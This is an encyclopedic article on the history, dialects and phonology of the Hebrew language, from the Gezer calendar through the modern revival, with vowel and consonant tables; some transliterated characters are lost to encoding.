          Within the Canaanite group, Hebrew belongs to the sub-group also containing Edomite, Ammonite and Moabite. Another Canaanite sub-group contains Phoenician and its descendant Punic.


          


          Gezer calendar and other archaic inscriptions


          The first written evidence of distinctive Hebrew, the Gezer calendar, dates back to the 10th century BC at the beginning of the Monarchic Period, the traditional time of the reign of David and Solomon. Classified as Archaic Biblical Hebrew, the calendar presents a list of seasons and related agricultural activities. The Gezer calendar (named after the city in whose proximity it was found) is written in an old Semitic script, akin to the Phoenician one that through the Greeks and Etruscans later became the Roman script. The Gezer calendar is written without any vowels, and it does not use consonants to imply vowels even in the places where later Hebrew spelling requires it.


          
            [image: The Shebna lintel, from the tomb of a royal steward found in Siloam, dates to the 7th century BC.]
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          Numerous older tablets have been found in the region with similar scripts written in other Semitic languages, for example Protosinaitic. It is believed that the original shapes of the script go back to Egyptian hieroglyphs, though the phonetic values are instead inspired by the acrophonic principle. The common ancestor of Hebrew and Phoenician is called Canaanite, and was the first to use a Semitic alphabet distinct from Egyptian. One ancient document is the famous Moabite Stone written in the Moabite dialect; the Siloam Inscription, found near Jerusalem, is an early example of Hebrew. Less ancient samples of Archaic Hebrew include the ostraka found near Lachish which describe events preceding the final capture of Jerusalem by Nebuchadnezzar and the Babylonian captivity of 586 BC.


          


          Classical Hebrew


          In its widest sense, Classical Hebrew means the spoken language of ancient Israel flourishing between the 10th century BC and the turn of the 4th century AD. It comprises several evolving and overlapping dialects. The phases of Classical Hebrew are often named after important literary works associated with them.


          
            	Archaic Biblical Hebrew from the 10th to the 6th century BC, corresponding to the Monarchic Period until the Babylonian Exile and represented by certain texts in the Hebrew Bible ( Tanach), notably the Song of Moses (Exodus 15) and the Song of Deborah (Judges 5). Also called Old Hebrew or Paleo-Hebrew. It was written in a form of the Canaanite script. (A script descended from this is still used by the Samaritans, see Samaritan Hebrew language.)


            	Biblical Hebrew around the 6th century BC, corresponding to the Babylonian Exile and represented by the bulk of the Hebrew Bible that attains much of its present form around this time. Also called Classical Biblical Hebrew (or Classical Hebrew in the narrowest sense).


            	Late Biblical Hebrew, from the 6th to the 4th century BC, that corresponds to the Persian Period and is represented by certain texts in the Hebrew Bible, notably the books of Ezra and Nehemiah. Basically similar to Classical Biblical Hebrew, apart from a few foreign words adopted for mainly governmental terms, and some syntactical innovations such as the use of the particle shel (of, belonging to). It adopted the Imperial Aramaic script.


            	Dead Sea Scroll Hebrew from the 3rd century BC to the 1st century AD, corresponding to the Hellenistic and Roman Periods before the destruction of the Temple in Jerusalem and represented by the Qumran Scrolls that form most (but not all) of the Dead Sea Scrolls. Commonly abbreviated as DSS Hebrew, also called Qumran Hebrew. The Imperial Aramaic script of the earlier scrolls in the 3rd century BC evolved into the Hebrew square script of the later scrolls in the 1st century AD, also known as ketav Ashuri (Assyrian script), still in use today.


            	Mishnaic Hebrew from the 1st to the 3rd or 4th century AD, corresponding to the Roman Period after the destruction of the Temple in Jerusalem and represented by the bulk of the Mishnah and Tosefta within the Talmud and by the Dead Sea Scrolls, notably the Bar Kokhba Letters and the Copper Scroll. Also called Tannaitic Hebrew or Early Rabbinic Hebrew.

          


          Sometimes the above phases of spoken Classical Hebrew are simplified into "Biblical Hebrew" (including several dialects from the tenth century BC to 2nd century BC and extant in certain Dead Sea Scrolls) and "Mishnaic Hebrew" (including several dialects from the 3rd century BC to the 3rd century AD and extant in certain other Dead Sea Scrolls). However today, most Hebrew linguists classify Dead Sea Scroll Hebrew as a set of dialects evolving out of Late Biblical Hebrew and into Mishnaic Hebrew, thus including elements from both but remaining distinct from either. By the start of the Byzantine Period in the 4th century AD, Classical Hebrew ceases as a spoken language, roughly a century after the publication of the Mishnah, apparently declining since the aftermath of the catastrophic Bar Kokhba War around 135 AD.


          


          Mishnah and Talmud


          The term generally refers to the Hebrew dialects found in the Talmud תלמוד, excepting quotations from the Hebrew Bible. The dialects organize into Mishnaic Hebrew (also called Tannaitic Hebrew, Early Rabbinic Hebrew, or Mishnaic Hebrew I), which was a spoken language, and Amoraic Hebrew (also called Late Rabbinic Hebrew or Mishnaic Hebrew II), which was a literary language.


          The earlier section of the Talmud is the Mishnah משנה that was published around 200 CE and was written in the earlier Mishnaic dialect. The dialect is also found in certain Dead Sea Scrolls. Mishnaic Hebrew is considered to be one of the dialects of Classical Hebrew that functioned as a living language in the land of Israel.


          A transitional form of the language occurs in the other works of Tannaitic literature dating from the century beginning with the completion of the Mishnah. These include the halachic Midrashim ( Sifra, Sifre, Mechilta etc.) and the expanded collection of Mishnah-related material known as the Tosefta תוספתא. The Talmud contains excerpts from these works, as well as further Tannaitic material not attested elsewhere; the generic term for these passages is Baraitot. The dialect of all these works is very similar to Mishnaic Hebrew.


          About a century after the publication of the Mishnah, Mishnaic Hebrew fell into disuse as a spoken language. The later section of the Talmud, the Gemara גמרא, generally comments on the Mishnah and Baraitot in Aramaic. Nevertheless, Hebrew survived as a liturgical and literary language in the form of later Amoraic Hebrew, which sometimes occurs in the text of the Gemara.


          


          Medieval Hebrew
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          After the Talmud, various regional literary dialects of Medieval Hebrew evolved. The most important is Tiberian Hebrew or Masoretic Hebrew, a local dialect of Tiberias in Galilee that became the standard for vocalizing the Hebrew Bible and thus still influences all other regional dialects of Hebrew. This Tiberian Hebrew from the 7th to 10th century AD is sometimes called "Biblical Hebrew" because it is used to pronounce the Hebrew Bible; however properly it should be distinguished from the historical Biblical Hebrew of the 6th century BC, whose original pronunciation must be reconstructed.


          Tiberian Hebrew incorporates the remarkable scholarship of the Masoretes (from masoret meaning "tradition"), who added vowel points and grammar points to the Hebrew letters to preserve much earlier features of Hebrew, for use in chanting the Hebrew Bible. The Masoretes inherited a biblical text whose letters were considered too sacred to be altered, so their markings were in the form of pointing in and around the letters. The Syriac script, precursor to the Arabic script, also developed vowel pointing systems around this time. The Aleppo Codex, a Hebrew Bible with the Masoretic pointing, was written in the 10th century likely in Tiberias and survives to this day. It is perhaps the most important Hebrew manuscript in existence.


          In the Golden age of Jewish culture in Spain important work was done by grammarians in explaining the grammar and vocabulary of Biblical Hebrew; much of this was based on the work of the grammarians of Classical Arabic. Important Hebrew grammarians were Judah ben David Hayyuj, Jonah ibn Janah and later (in Provence) David Kimhi. A great deal of poetry was written, by poets such as Dunash ben Labrat, Solomon ibn Gabirol, Judah ha-Levi and the two Ibn Ezras, in a "purified" Hebrew based on the work of these grammarians, and in Arabic quantitative metres. This literary Hebrew was later used by Italian Jewish poets.


          The need to express scientific and philosophical concepts from Classical Greek and Medieval Arabic motivated Medieval Hebrew to borrow terminology and grammar from these other languages, or to coin equivalent terms from existing Hebrew roots, giving rise to a distinct style of philosophical Hebrew. This is used in the translations made by the Ibn Tibbon family. (Original Jewish philosophical works were usually written in Arabic.)


          Another important influence was Maimonides, who developed a simple style based on Mishnaic Hebrew for use in his law code, the Mishneh Torah. Subsequent rabbinic literature is written in a blend between this style and the Aramaized Rabbinic Hebrew of the Talmud.


          


          Liturgical use


          Hebrew has always been used as the language of prayer and study, and the following pronunciation systems are found.


          Ashkenazi Hebrew, originating in Central and Eastern Europe, is still widely used in Ashkenazi Jewish religious services and studies in Israel and abroad, particularly in the Haredi and other Orthodox communities. It was influenced by the Yiddish language.


          Sephardi Hebrew is the traditional pronunciation of the Spanish and Portuguese Jews and Sephardi Jews in the countries of the former Ottoman Empire. This pronunciation, in the form used by the Jerusalem Sephardic community, is the basis of the Hebrew phonology of Israeli native speakers. It was influenced by the Ladino language.


          Mizrahi (Oriental) Hebrew is actually a collection of dialects spoken liturgically by Jews in various parts of the Arab and Islamic world. It was possibly influenced by the Aramaic and Arabic languages, and in some cases by Sephardi Hebrew, although some linguists maintain that it is the direct heir of Biblical Hebrew and thus represents the true dialect of Hebrew. The same claim is sometimes made for Yemenite Hebrew or Temanit, which differs from other Mizrahi dialects by having a radically different vowel system.


          These pronunciations are still used in synagogue ritual and religious study, in Israel and elsewhere, mostly by people who are not native speakers of Hebrew, though some traditionalist Israelis are bi-dialectal.


          Many synagogues in the diaspora, even though Ashkenazi by rite and by ethnic composition, have adopted the "Sephardic" pronunciation in deference to Israeli Hebrew. However, in many British and American schools and synagogues, this pronunciation retains several elements of its Ashkenazi substrate, especially the distinction between tsere and segol.


          


          


          Modern Hebrew


          


          Development


          In the Modern Period, from the 19th century onward, the literary Hebrew tradition as pronounced in Jerusalem revived as the spoken language of modern Israel, called variously Israeli Hebrew, Modern Israeli Hebrew, Modern Hebrew, New Hebrew, Israeli Standard Hebrew, Standard Hebrew, and so on. Israeli Hebrew exhibits many features of Sephardic Hebrew from its local Jerusalemite tradition but adapts it with numerous neologisms, borrowed terms (often technical) from European languages and adopted terms (often colloquial) from Arabic.


          
            [image: Eliezer Ben-Yehuda]

            
              Eliezer Ben-Yehuda
            

          


          The literary and narrative use of Hebrew was revived beginning with the Haskalah (Enlightenment) movement. The first secular periodical in Hebrew, Hameassef (The Gatherer), was published by Maskilim litterati in Knigsberg from 1783 onwards. In the mid-19th century, publications of several Eastern European Hebrew-language newspapers (e.g. HaMagid, founded in Lyck, Prussia, in 1856) multiplied. Prominent poets were Chaim Nachman Bialik and Shaul Tchernichovsky; there were also novels written in the language.


          The revival of the Hebrew language as a mother tongue was initiated by the efforts of Eliezer Ben-Yehuda (1858-1922) (אליעזר בןיהודה). He joined the Jewish national movement and in 1881 immigrated to Palestine, then a part of the Ottoman Empire. Motivated by the surrounding ideals of renovation and rejection of the diaspora " shtetl" lifestyle, Ben-Yehuda set out to develop tools for making the literary and liturgical language into everyday spoken language.


          However, his brand of Hebrew followed norms that had been replaced in Eastern Europe by different grammar and style, in the writings of people like Achad Ha-Am and others. His organizational efforts and involvement with the establishment of schools and the writing of textbooks pushed the vernacularization activity into a gradually accepted movement. It was not, however, until the 1904-1914 " second aliyah" that Hebrew had caught real momentum in Ottoman Palestine with the more highly organized enterprises set forth by the new group of immigrants. When the British Mandate of Palestine recognized Hebrew as one of the country's three official languages (English, Arabic, and Hebrew, in 1922), its new formal status contributed to its diffusion. A constructed modern language with a truly Semitic vocabulary and written appearance, although often European in phonology, was to take its place among the current languages of the nations.


          


          Reactions


          While many saw his work as fanciful or even blasphemous (because Hebrew was the holy language of the Torah and therefore some thought that it should not be used to discuss common everyday matters), many soon understood the need for a common language amongst Jews of the Palestine Mandate who at the turn of the 20th century were arriving in large numbers from diverse countries and speaking different languages. It has been said that Hebrew unified the new immigrants coming to Mandate Palestine, creating a common language and culture. A Committee of the Hebrew Language was established. Later it became the Academy of the Hebrew Language, an organization that exists today. The results of his and the Committee's work were published in a dictionary (The Complete Dictionary of Ancient and Modern Hebrew). Ben-Yehuda's work fell on fertile ground, and by the beginning of the 20th century, Hebrew was well on its way to becoming the main language of the Jewish population of both Ottoman and British Palestine. At the time, members of the Old Yishuv and a very few Chasidic sects, most notably those under the auspices of Satmar, refused to speak Hebrew and only spoke Yiddish. However, while this ideological stance persists in certain quarters, almost all members of these groups have learned modern Hebrew in order to interact with outsiders.


          


          Russia and the Soviet Union


          Russian has separate terms for Ancient Hebrew ( Древнееврейский язык, "ancient Jewish language") and Modern Hebrew ( Иврит, directly borrowed from the Hebrew name).


          The Soviet authorities considered the use of Hebrew "reactionary" since it was associated with both Judaism and Zionism, and the teaching of Hebrew at primary and secondary schools was officially banned by the Narkompros (Commissariat of Education) as early as 1919, as part of an overall agenda aiming to secularize education (the language itself didn't cease to be studied at universities for historical and linguistic purposes). The official ordinance stated that Yiddish, being the spoken language of the Russian Jews, should be treated as their only national language, while Hebrew was to be treated as a foreign language. Hebrew books and periodicals ceased to be published and were seized from the libraries, although liturgical texts were still published until the 1930s. Despite numerous protests in the West, teachers and students who attempted to study the Hebrew language were pilloried and sentenced for "counter revolutionary" and later for "anti-Soviet" activities. Later in the 1980s years in the USSR, Hebrew studies reappeared due to people struggling for permission to go to Israel ( refuseniks). Several of the teachers were imprisoned, for example, Ephraim Kholmyansky, Yevgeny Korostyshevsky and others responsible for a Hebrew learning network connecting many cities of USSR.


          


          Birobidzhan


          Birobidzhan Jewish National University works in cooperation with the local Jewish community of Birobidzhan. The university is unique in the Russian Far East. The basis of the training course is study of the Hebrew language, history and classic Jewish texts. In recent years, the Jewish Autonomous Oblast has grown interested in its Jewish roots. Students study Hebrew and Yiddish at a Jewish school and Birobidzhan Jewish National University. In 1989, the Jewish centre founded its Sunday school, where children study Yiddish, learn folk Jewish dance, and learn about the history of Israel. The Israeli government helps fund the program. Chief Rabbi Mordechai Scheiner has commented the progress at School No. 2, Birobidjan's Jewish public school with 670 students, 30 percent of whom are Jewish. Pupils learn about Jewish history, and the Hebrew and Yiddish languages.


          


          Modern Israeli Hebrew


          Standard Hebrew, as developed by Eliezer Ben Yehuda, was based on Mishnaic spelling and Sephardi Hebrew pronunciation. However, the earliest speakers of Modern Hebrew had Yiddish as their native tongue and often brought into Hebrew idioms and literal translations from Yiddish. Similarly, the language as spoken in Israel has adapted to Ashkenazi Hebrew phonology in the following respects:


          
            	the elimination of pharyngeal articulation in the letters chet and ayin


            	the conversion of /r/ from an alveolar flap ([ɾ]) to a voiced uvular fricative ([ʁ]) or trill ([ʀ]) (see Guttural R)


            	the pronunciation (by many speakers) of tzere as [eɪ] in some contexts (sifrey and teysha instead of Sephardic sifr and tsha' )


            	the elimination of vocal schwa (zman instead of Sephardic zĕman)


            	some of the letter names (yud and kuf instead of Sephardic yod and qof)


            	in popular speech, penultimate stress in proper names (Dvra instead of Dĕvor; Yehda instead of Yĕhud)


            	similarly, penultimate stress in nouns or verbs with a second or third person plural suffix (katvtem "you wrote" instead of kĕtavtm; shalom alykhem (greeting) instead of shalom alekhm).

          


          


          Classification


          Scholars differ on the classification of the resulting language. Most regard it as a genuine continuation of Biblical and Mishnaic Hebrew, while conceding that it has acquired some European vocabulary and syntactical features, in much the same way as Modern Standard Arabic (or even more so, dialects such as Moroccan Arabic). Two dissenting views are as follows:


          
            	Paul Wexler claims that modern Hebrew is not a Semitic language at all, but a dialect of "Judaeo-Sorbian". He argues that the underlying structure of the language is Slavic, but "re-lexified" to absorb much of the vocabulary and inflexional system of Hebrew in much the same way as a creole.


          


          
            	Ghil'ad Zuckermann compromises between Wexler and the majority view: according to him, "Israeli" (his term for Israeli Hebrew) is a Semito- European hybrid language, which is the continuation not only of literary Hebrew but also of Yiddish, as well as Polish, Russian, German, English, Ladino, Arabic and other languages spoken by Hebrew revivalists. Zuckermann's multi-parental hybridization model is based on two main principles: the Congruence Principle and the Founder Principle. According to the Congruence Principle, the more contributing languages a linguistic feature exists in, the more likely it is to persist in the target language. Based on feature pool statistics and recognizing simultaneous multiple sources, the Congruence Principle is in contrast to the family tree tool in historical linguistics. The Congruence Principle challenges Wexler's relexification model. The Founder Principle underlines the impact of the founder population on the emerging language. Thus, " Yiddish is a primary contributor to Israeli Hebrew because it was the mother tongue of the vast majority of revivalists and first pioneers in Eretz Yisrael at the crucial period of the beginning of Israeli Hebrew". According to Zuckermann, although the revivalists wished to speak Hebrew, with Semitic grammar and pronunciation, they could not avoid the Ashkenazi mindset arising from their European background. He argues that their attempt to deny their European roots, negate diasporism and avoid hybridity (as reflected in Yiddish) failed. "Had the revivalists been Arabic-speaking Jews (e.g. from Morocco), Israeli Hebrew would have been a totally different language  both genetically and typologically, much more Semitic. The impact of the founder population on Israeli Hebrew is incomparable with that of later immigrants." The Founder Principle challenges the traditional revival view, according to which Israeli Hebrew is Hebrew revived and thus Afro-Asiatic ( Semitic).


          


          So far, neither view has gained significant acceptance among mainstream linguists. However, some linguists, for example American Yiddish scholar Dovid Katz, have employed Zuckermann's glottonym "Israeli" and accept his notion of hybridity. Few would dispute that Hebrew has acquired some European features as a result of having been learned by immigrants as a second language at a crucial formative stage. The identity of the European substrate/adstrate has varied: in the time of the Mandate and the early State, the principal contributor was Yiddish, while today it is American English.


          


          Regional dialects


          According to Ethnologue, the currently spoken dialects of Hebrew are "Standard Hebrew (General Israeli, Europeanized Hebrew)" and " Oriental Hebrew (Arabized Hebrew, Yemenite Hebrew)". These refer to two varieties used for actual communication by native speakers in Israel; they differ mainly in pronunciation, and hardly in any other way.


          Immigrants to Israel are encouraged to adopt "Standard Hebrew" as their daily language. Phonologically, this "dialect" may most accurately be described as an amalgam of pronunciations preserving Sephardic vowel sounds and some Ashkenazic consonant sounds with Yiddish-style influence, its recurring feature being simplification of differences among a wide array of pronunciations. This simplifying tendency also accounts for the collapse of the Ashkenazic [t] and [s] allophones of ת (/t/) into the single phone [t]. Most Sephardic and Mizrahi dialects share this feature, though some (such as those of Iraq and Yemen) differentiate between these two pronunciations as /t/ and //. Within Israel, however, the pronunciation of Hebrew more often reflects the diasporic origin of the individual speaker, rather than the specific recommendations of the Academy. For this reason, over half the population pronounces ר as [ʀ] (a uvular trill, as in Yiddish and French) or as [ʁ] (a voiced uvular fricative, as in Standard German), rather than as [r], an alveolar trill, as in Spanish. The pronunciation of this phoneme is often used among Israelis as a shibboleth or determinant when ascertaining the national origin of perceived foreigners.


          There are mixed views on the status of the two dialects. On the one hand, prominent Israelis of Sephardic or Oriental origin are admired for the purity of their speech and Yemenite Jews are often employed as newsreaders. On the other hand, the speech of middle-class Ashkenazim is regarded as having a certain Central European sophistication, and many speakers of Mizrahi origin have moved nearer to this version of Standard Hebrew, in some cases even adopting the uvular resh.


          It was formerly the case that the inhabitants of the north of Israel pronounced beth rafe (בי"ת רפה, bet without dagesh, literally loose beth: ב) as /b/ instead of /v/, in accordance with the conservative Sephardic pronunciation. This was regarded as rustic and has since disappeared. It is said that one can tell an inhabitant of Jerusalem by the pronunciation of the word for two hundred as "ma'atayim" (מאתיים, as distinct from "matayim", as heard elsewhere in the country). Today, Israeli Hebrew is virtually uniform, the only noticeable variation being along ethnic lines. It is widely felt that these differences, too, have been disappearing among the younger generation.


          


          Aramaic


          Aramaic is a North-West Semitic language, like Canaanite. Its name derives either from "Aram Naharayim" in Upper Mesopotamia or from "Aram", an ancient name for Syria. Various dialects of Aramaic coevolved with Hebrew throughout much of its history. In fact, the words in Greek and Hebrew at the time corresponding to the word "Hebrew" (, , עברית) usually referred to Aramaic.


          The language of Jesus and the Neo-Babylonian Empire was a dialect of Aramaic. The Persian Empire that captured Babylonia a few decades later adopted Imperial Aramaic as the official international language of the Persian Empire. The Israelite population, who had been exiled to Babylon from Jerusalem and its surrounding region of Judah, were allowed to return to Jerusalem to establish a Persian province, usually called Judea. Thus Aramaic became the administrative language for Judea when dealing with the rest of Persian Empire.


          The Aramaic script also evolved from the Canaanite script, but they diverged significantly. By the 1st century CE, the Aramaic script developed into the distinctive Hebrew square script (also known as Assyrian Script, Ktav Ashuri), extant in the Dead Sea Scrolls and similar to the script still in use today.


          


          Displacement


          By the early half of the 20th century, modern scholars reached a nearly unanimous opinion that Aramaic became a spoken language in the land of Israel by the start of Israel's Hellenistic Period in the 4th century BCE, and thus Hebrew ceased to function as a spoken language around the same time. However, during the latter half of the 20th century, accumulating archaeological evidence and especially linguistic analysis of the Dead Sea Scrolls has qualified the previous consensus. Alongside Aramaic, Hebrew may also have survived as a spoken language, since the Qumran evidence indicates that Hebrew texts were comprehensible to the rank-and-file. Some further evidence for this contention has been found in the Christian Bible story of Paul speaking to a crowd of Jews ti hebradi dialkti lit.'in the Hebrew dialect'. However, the standard translation for this Greek passage is 'in the Aramaic vernacular of Palestine' . In a groundbreaking article Griatz suggested that Hebrew, rather than Aramaic, lay behind the composition of the Gospel of Matthew. Griatz dates the demise of Hebrew as a spoken language to the end of the Roman Period. Hebrew nonetheless continued on as a literary language down through Byzantine Period from the 4th century CE.


          The exact roles of Aramaic and Hebrew remain hotly debated. A trilingual scenario has been proposed for the land of Israel. Hebrew functioned as the local mother tongue, Aramaic functioned as the international language with the rest of the Mideast, and eventually Greek functioned as another international language with the eastern areas of the Roman Empire. Communities of Jews (and non-Jews) are known, who immigrated to Judea from these other lands and continued to speak Aramaic or Greek.


          Many Hebrew linguists postulate the survival of Hebrew as a spoken language until the Byzantine Period, but some historians do not accept this. The Hebrew of the Dead Sea Scrolls distinguishes the Dead Sea Scroll Hebrew from the various dialects of Biblical Hebrew out of which it evolved: "This book presents the specific features of DSS Hebrew, emphasizing deviations from classical BH." The Oxford Dictionary of the Christian Church which once said, in 1958 in its first edition, that Hebrew "ceased to be a spoken language around the fourth century BC", now says, in its 1997 (third) edition, that Hebrew "continued to be used as a spoken and written language in the New Testament period". An Introductory Grammar of Rabbinic Hebrew says, "It is generally believed that the Dead Sea Scrolls, specifically the Copper Scroll and also the Bar Kokhba letters, have furnished clear evidence of the popular character of MH [Mishnaic Hebrew]." And so on. It is widespread among Israeli scholars to treat Hebrew as a spoken language as a feature of Judea's Roman Period.


          


          Dialects


          The international language of Aramaic radiated into various regional dialects. In and around Judea, various dialects of Old Western Aramaic emerged, including the Jewish dialect of Old Judean Aramaic during the Roman Period. Josephus Flavius initially drafted his account of The Jewish War in Old Judean Aramaic but later recast it into Koine Greek to publish it for the Roman imperial court. Unfortunately Josephus's Aramaic version has not survived.


          Following the destruction of Jerusalem and the Second Temple in 70 CE, the Jews gradually began to disperse from Jerusalem to foreign countries, especially after the Bar Kokhba War in 135 CE when the Romans turned Jerusalem into a pagan city named Aelia Capitolina.


          After the Bar Kokhba War in the 2nd century CE, the Jewish Palestinian Aramaic dialect emerged from obscurity out of the vicinity of Galilee to form one of the main dialects in the Western branch of Middle Aramaic. The Jerusalem Talmud (by the 5th century) used this Jewish Palestinian Aramaic, as did the Midrash Rabba (6th to 12th century). This dialect probably influenced the pronunciation of the 8th-century Tiberian Hebrew that vocalizes the Hebrew Bible.


          Meanwhile over in Babylon, the Babylonian Talmud (by the 7th century) used Jewish Babylonian Aramaic, a Jewish dialect in the Eastern branch of Middle Aramaic. For centuries Jewish Babylonian remained the spoken language of Mesopotamian Jews and the Lishana Deni. In the area of Kurdistan, there is a modern Aramaic dialect descending from it that is still spoken by a few thousand Jews (and non-Jews), though it has largely given way to Arabic.


          Hebrew continues to strongly influence all these various Jewish dialects of Aramaic.


          


          Other coexisting languages


          Besides Jewish dialects of Aramaic, other languages are highly influenced by Hebrew, such as Yiddish, Ladino, Karaite and Judeo-Arabic. Although none is completely derived from Hebrew, they all make extensive use of Hebrew loanwords.


          The revival of Hebrew is often cited by proponents of international auxiliary languages as the best proof that languages long dead, with small communities, or modified or created artificially can become living languages used by a large number of people.


          


          Phonology


          Hebrew has two kinds of stress: on the last syllable (milra) and on the penultimate syllable (the one preceding the last, milel). The former is more frequent. Specific rules connect the location of the stress with the length of the vowels in the last syllable. However, due to the fact that Israeli Hebrew does not distinguish between long and short vowels, these rules are not evident in everyday speech. They usually cannot be inferred from written text either, since usually vowels are not marked. The rules that specify the vowel length are different for verbs and nouns, which influences the stress; thus the milel-stressed khel (="food") and milra-stressed okhl (="eats", masculine) differ only in the length of the vowels (and are written identically if vowels are not marked). Little ambiguity exists, however, due to nouns and verbs having incompatible roles in normal sentences. This is also true in English, for example, with the English word "conduct" in its nominal and verbal forms.


          


          Vowels


          
            [image: The vowel phonemes of Modern Israeli Hebrew]
          


          The Hebrew word for vowels is tnu'ot (תְּנוּעוֹת). The orthographic representations for these vowels are called Niqqud. Israeli Hebrew has 5 vowel phonemes, represented by the following Niqqud-signs:


          
            
              	phoneme

              	pronunciationin

              ModernHebrew

              	approximatepronunciation

              inEnglish

              	othographic representation
            


            
              	"long" *

              	"short" *

              	"very short" / "interrupted" *
            


            
              	/a/

              	[a]

              	(as in "spa")

              	kamats ( ָ )

              	patach ( ַ )

              	chataf patach ( ֲ )
            


            
              	/e/

              	[ɛ̝] or [e̞]

              	(as in "bet")

              	tsere male ( ֵי ) or tsere chaser ( ֵ )

              	segol ( ֶ )

              	chataf segol ( ֱ ), sometimes shva ( ְ )
            


            
              	/i/

              	[i]

              	(as in "ski")

              	khirik male ( ִי )

              	khirik chaser ( ִ )

              	
            


            
              	/o/

              	[ɔ̝] or [o̞]

              	(as in "gore")

              	kholam male ( וֹ ) or kholam chaser ( ֹ )

              	kamatz katan ( ָ )

              	chataf kamatz ( ֳ )
            


            
              	/u/

              	[u]

              	(as in "flu" but with no diphthongization)

              	shuruk (וּ)

              	kubuts ( ֻ )

              	
            


            
              	* The severalfold orthographic representation of each phoneme attests to the broader phonemic range of vowels in earlier forms of Hebrew. Some linguists still regard the Hebrew grammatical entity of Shva namarked as Shva (ְ)as representing a sixth phoneme, /ə/.
            

          


          In Biblical Hebrew, each vowel had three forms: short, long and interrupted (khataf). However, there is no audible distinction between the three in modern Israeli Hebrew, except that tsere is often pronounced [eɪ] as in Ashkenazi Hebrew.


          


          Shva


          The Niqqud sign " Shva" represents four grammatical entities: resting (nakh / נָח), moving (na' / נָע), floating (merahef / מְרַחֵף) and "bleating" or "bellowing" ('ge'iya' / גְּעִיָּה). In earlier forms of Hebrew, these entities were phonologically and phonetically distinguishable. However, in Modern Hebrew these distinctions are not observed. For example, the (first) Shva Nach in the word קִמַּטְתְ (fem. you crumpled) is usually pronounced [ə] (or [ɛ]) ([ki'matɛt]) even though it should be mute, whereas the Shva Na in זְמַן (time), which theoretically should be pronounced, is usually mute ([zman]). Sometimes the shva is pronounced like a tsere when accented, as in the prefix "ve" meaning "and".


          


          One-letter words


          One-letter words are written attached to the following word. Such items include: the definite article ha (/ha/) (="the"); prepositions be (/bə/) (="in"), mi (/mi/) (="from"), le (/lə/) (="to"); conjunctions she (/ʃe/) (="that"), ke (/kə/) (="as", "like"), ve (/və/) (="and"). The vowel that follows the letter thus attached depends in general on the beginning of the next word and the presence of a definite article which may be swallowed by the one-letter word.


          The rules determining the vowels to follow these prepositions are complicated and vary with the formality of speech. In most cases they are followed by a moving schwa, and for that reason they are pronounced as be and le. In more formal speech, if a preposition is put before a word which begins with a moving shva, then the preposition takes the vowel /i/ (and the initial consonant is weakened), but in colloquial speech these changes often do not occur. For example, colloquial be-kfar (="in a village") corresponds to the more formal bi-khfar. If l or b are followed by the definite article ha, their vowel changes to /a/. Thus *be-ha-matos becomes ba-matos (="in the plane"). However it does not happen to m (the form of "min" or "mi-" used before the letter "he"), therefore m-ha-matos is a valid form, which means "from the airplane".


          
            	* indicates that the given example is grammatically non standard

          


          


          Consonants


          The Hebrew word for consonants is itsurim (עיצורים). The following table lists the Hebrew consonants and their pronunciation in IPA transcription:


          
            	
              
                
                  	

                  	Bilabial

                  	Labiodental

                  	Alveolar

                  	Post-

                  alveolar

                  	Palatal

                  	Velar

                  	Uvular

                  	Glottal
                


                
                  	Nasals

                  	m מ

                  	

                  	n נ

                  	

                  	

                  	

                  	

                  	
                


                
                  	Stops

                  	p פּ

                  	b בּ

                  	

                  	t ט,ת,תּ

                  	d ד,דּ

                  	

                  	

                  	k ק,כּ

                  	g ג,גּ

                  	

                  	ʔ א,ע
                


                
                  	Affricates

                  	

                  	

                  	

                  	ʦ צ

                  	

                  	

                  	

                  	

                  	

                  	
                


                
                  	Fricatives

                  	

                  	f פ

                  	v ב,ו

                  	s ס,שׂ

                  	z ז

                  	ʃ שׁ

                  	ʒ 'ז

                  	

                  	x ח,כ,ך

                  	

                  	

                  	ʁ ר

                  	h ה ɦ
                


                
                  	Trills

                  	

                  	

                  	

                  	

                  	

                  	

                  	ʀ ר

                  	
                


                
                  	Approximants

                  	

                  	

                  	

                  	

                  	j י

                  	

                  	

                  	
                


                
                  	Laterals

                  	

                  	

                  	l ל

                  	

                  	

                  	

                  	

                  	
                

              

            

          


          The pairs /b, v/, /k, x/ and /p, f/ have historically been allophonic. In Modern Hebrew, however, all six sounds are phonemic, due to mergers involving formerly distinct sounds (/v/ merging with /w/, /k/ merging with /q/, /x/ merging with /ħ/), loss of consonant gemination (which formerly distinguished the stop members of the pairs from the fricatives when intervocalic), and the introduction of syllable-initial /f/ through foreign borrowings.


          ע was once pronounced as a voiced pharyngeal fricative. Most modern Ashkenazi Jews do not differentiate between א and ע; however, Mizrahi Jews and Arabs pronounce these phonemes. Georgian Jews pronounce it as a glottalized q. Western European Sephardim and Dutch Ashkenazim traditionally pronounce it [ŋ] (like ng in sing)  a pronunciation which can also be found in the Italki tradition and, historically, in south-west Germany. (The remnants of this pronunciation are found throughout the Ashkenazi world, in the name "Yankl" and "Yanki", diminutive forms of Jacob, Heb. יעקב.)


          Hebrew also has dagesh, a strengthening. There are two kinds of strengthenings: light (kal, known also as dagesh lene) and heavy (khazak or dagesh forte). There are two sub-categories of the heavy dagesh: structural heavy (khazak tavniti) and complementing heavy (khazak mashlim). The light affects the phonemes /b/ /k/ /p/ (historically, also /g/, /d/ and /t/) in the beginning of a word, or after a resting schwa. Structural heavy emphases belong to certain vowel patterns (mishkalim and binyanim; see the section on grammar below), and correspond originally to doubled consonants. Complementing strengthening is added when vowel assimilation takes place. As mentioned before, the emphasis influences which of a pair of (former) allophones is pronounced. Historical evidence indicates that /g/, /d/ and /t/ also used to have allophones marked by the presence or absence of dagesh kal: these have disappeared from modern Hebrew pronunciation though the distinction in writing still appears in fully pointed texts. All consonants except gutturals and /r/ may receive the heavy emphasis (dagesh khazak).


          


          Historical sound changes


          Standard (non-Oriental) Israeli Hebrew (SIH) has undergone a number of splits and mergers in its development from Biblical Hebrew.


          
            	BH /b/ had two allophones, [b] and [v]; the [v] allophone has merged with /w/ into SIH /v/


            	BH /k/ had two allophones, [k] and [x]; the [k] allophone has merged with /q/ into SIH /k/, while the [x] allophone has merged with /ħ/ into SIH /x/


            	BH /t/ and /tˤ/ have merged into SIH /t/


            	BH /ʕ/ and /ʔ/ have usually merged into SIH /ʔ/, but this distinction may also be upheld in educated speech of many Sephardim and some Ashkenazim


            	BH /p/ had two allophones, [p] and [f]; the incorporation of loanwords into Modern Hebrew has probably resulted in a split, so that /p/ and /f/ are separate phonemes.

          


          


          Stress


